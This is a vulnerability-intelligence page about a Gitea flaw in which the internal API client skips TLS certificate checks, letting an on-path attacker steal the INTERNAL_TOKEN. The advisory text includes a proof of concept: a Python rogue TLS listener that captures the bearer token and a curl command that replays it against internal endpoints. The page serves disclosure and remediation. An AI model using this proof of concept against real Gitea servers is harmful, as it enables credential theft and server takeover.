Skip to main content

Gitea CVE-2026-54481

HIGH
Improper Certificate Validation (CWE-295)
2026-07-21 https://github.com/go-gitea/gitea GHSA-94v3-77j7-vm48
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
7.5 HIGH

Adjacent on-path position needed (AV:A) plus non-default HTTPS-to-remote topology and interception timing (AC:H); no Gitea privileges required (PR:N); stolen token yields full internal-API C/I/A impact.

3.1 AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Adjacent
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 21:06 vuln.today
Analysis Generated
Jul 21, 2026 - 21:06 vuln.today
CVE Published
Jul 21, 2026 - 20:41 github-advisory
HIGH 7.5

DescriptionGitHub Advisory

Summary

Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase that cannot be made to verify its peer's certificate - webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default SkipVerify toggle, this one does not.

When an operator configures internal communication over HTTPS to a non-loopback target (LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path position on that internal segment can MITM the connection and capture the static high-privilege INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token generation).

Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not interceptable without local access (which already exposes the token directly). This report is rated for the affected configuration and the underlying defense-in-depth defect. Details

Affected component: modules/private/internal.go

The internal API transport hardcodes certificate-verification bypass:

var internalAPITransport = sync.OnceValue(func() http.RoundTripper { return &http.Transport{ DialContext: dialContextInternalAPI, TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // hardcoded, no config gate ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true }, } })

Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN, self-signed) is accepted; there is no accidental safety net.

Verified exploit chain (read against main @ aab9737651, 2026-06-13):

  1. TLS path is reached whenever LOCAL_ROOT_URL scheme is https - http.Transport applies

TLSClientConfig only for https requests. (modules/private/internal.go:56-64)

  1. The dialer connects to the real host from the URL, with no loopback pinning:

dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port from LOCAL_ROOT_URL. (modules/private/internal.go:37-54)

  1. The client runs as a SEPARATE process, so a real socket is used and can cross hosts:
  • Built-in and external SSH both exec "gitea serv key-N" (modules/ssh/ssh.go:109,123;

models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=).

  • Git hooks exec "gitea hook ...".

These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop.

  1. INTERNAL_TOKEN is sent on every internal request as a static bearer header:

Header("X-Gitea-Internal-Auth", "Bearer "+setting.InternalToken) (modules/private/internal.go:80)

  1. A captured token is accepted and is the SOLE gate for all internal routes:

authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else. (routers/private/internal.go:24-42). The server code even comments: "// TODO: use something like JWT or HMAC to avoid passing the token in the clear" (routers/private/internal.go:32)

  1. Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket:

r.Mount("/api/internal", private.Routes()) (routers/init.go:185) so a stolen token is replayable by anyone who can reach the Gitea HTTP port.

Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default (services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify; incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out. The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected. PoC

Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it.

Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path.

  1. Configure Gitea so the internal client uses HTTPS to an interceptable target:

[server] PROTOCOL = https LOCAL_ROOT_URL = https://127.0.0.1:8443/

  1. Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the

X-Gitea-Internal-Auth request header. Minimal handler:

python3 rogue.py

import http.server, ssl, subprocess subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem", "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True) class H(http.server.BaseHTTPRequestHandler): def handle_one(self): pass def do_GET(self): self._h() def do_POST(self): self._h() def _h(self): a = self.headers.get("X-Gitea-Internal-Auth","") if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ","")) self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}') def log_message(self,*a): pass s = http.server.HTTPServer(("127.0.0.1",8443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem") s.socket = ctx.wrap_socket(s.socket, server_side=True) s.serve_forever()

  1. Trigger a real internal call through a subprocess path: perform an SSH git operation against the

instance (e.g. git clone ssh://git@<host>:<port>/owner/repo.git). sshd/built-in SSH execs gitea serv, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener.

  1. Observe at the listener:

[!] CAPTURED TOKEN: <INTERNAL_TOKEN>

  1. Confirm the token is privileged by replaying it directly against the Gitea HTTP port:

curl -k https://<gitea-host>:<port>/api/internal/manager/processes \ -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>" A 200 with process data confirms full internal-API access (the same token also reaches /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.).

In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost listener; the client behaviour (trusting the rogue cert and sending the token) is identical. Impact

Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static high-privilege INTERNAL_TOKEN -> full internal-API compromise.

Who is impacted: operators who run internal communication over HTTPS to a non-loopback target (split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https://<remote>/) on a network segment where an attacker can obtain on-path position. With the token, an attacker can: shut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control pre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and generate Actions runner tokens.

NOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback deployments, where the internal call is loopback and not interceptable without local code execution (which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).

AnalysisAI

Improper TLS certificate validation in Gitea versions prior to 1.27.0 lets an on-path attacker intercept the internal API channel and steal the static, high-privilege INTERNAL_TOKEN. The internal API HTTP client (modules/private/internal.go) hardcodes InsecureSkipVerify:true with no config override, so gitea serv / gitea hook subprocesses accept any certificate when LOCAL_ROOT_URL uses HTTPS to a non-loopback host. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Gain on-path position on internal segment
Delivery
Present rogue TLS certificate to gitea serv/hook
Exploit
Certificate accepted, MITM established
Execution
Capture static INTERNAL_TOKEN from bearer header
Persist
Replay token against /api/internal/* endpoints
Impact
Execute git commands or shut down server

Vulnerability AssessmentAI

Exploitation Requires all of: (1) the operator sets LOCAL_ROOT_URL to an HTTPS scheme pointing at a non-loopback host (split-host / multi-pod / separate SSH-or-hook host) - the default single-host, unix-socket, or HTTP-loopback configuration is not exploitable; (2) the attacker holds an on-path/adjacent position on that internal segment able to intercept the connection (ARP spoofing, malicious sidecar/pod, or DNS/route manipulation); and (3) a subprocess internal call is triggered (an SSH git operation invoking 'gitea serv', or a git hook invoking 'gitea hook'). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 3.1 vector (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, base 7.5 High) accurately reflects a deployment-dependent flaw: exploitation requires an adjacent/on-path position (AV:A) and the non-default combination of HTTPS internal comms to a non-loopback target plus interception capability (AC:H), which is why real-world risk is far narrower than a raw 7.5 suggests. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario In a split-host deployment where Gitea's SSH/hook host reaches the main server via LOCAL_ROOT_URL=https://<remote>/, an attacker who gains on-path position on the internal segment (ARP spoofing, a malicious sidecar/pod, or DNS/route manipulation) presents a self-signed certificate. When a user performs an SSH git operation, the 'gitea serv' subprocess trusts the rogue certificate and transmits the static INTERNAL_TOKEN, which the attacker captures and replays against /api/internal/* to shut down the server, authorize SSH keys, or execute git commands. …
Remediation Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later (see https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and advisory https://github.com/go-gitea/gitea/security/advisories/GHSA-94v3-77j7-vm48). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify all Gitea deployments using versions prior to 1.27.0 and confirm whether LOCAL_ROOT_URL is configured for HTTPS and points to a non-loopback address. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-54481 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy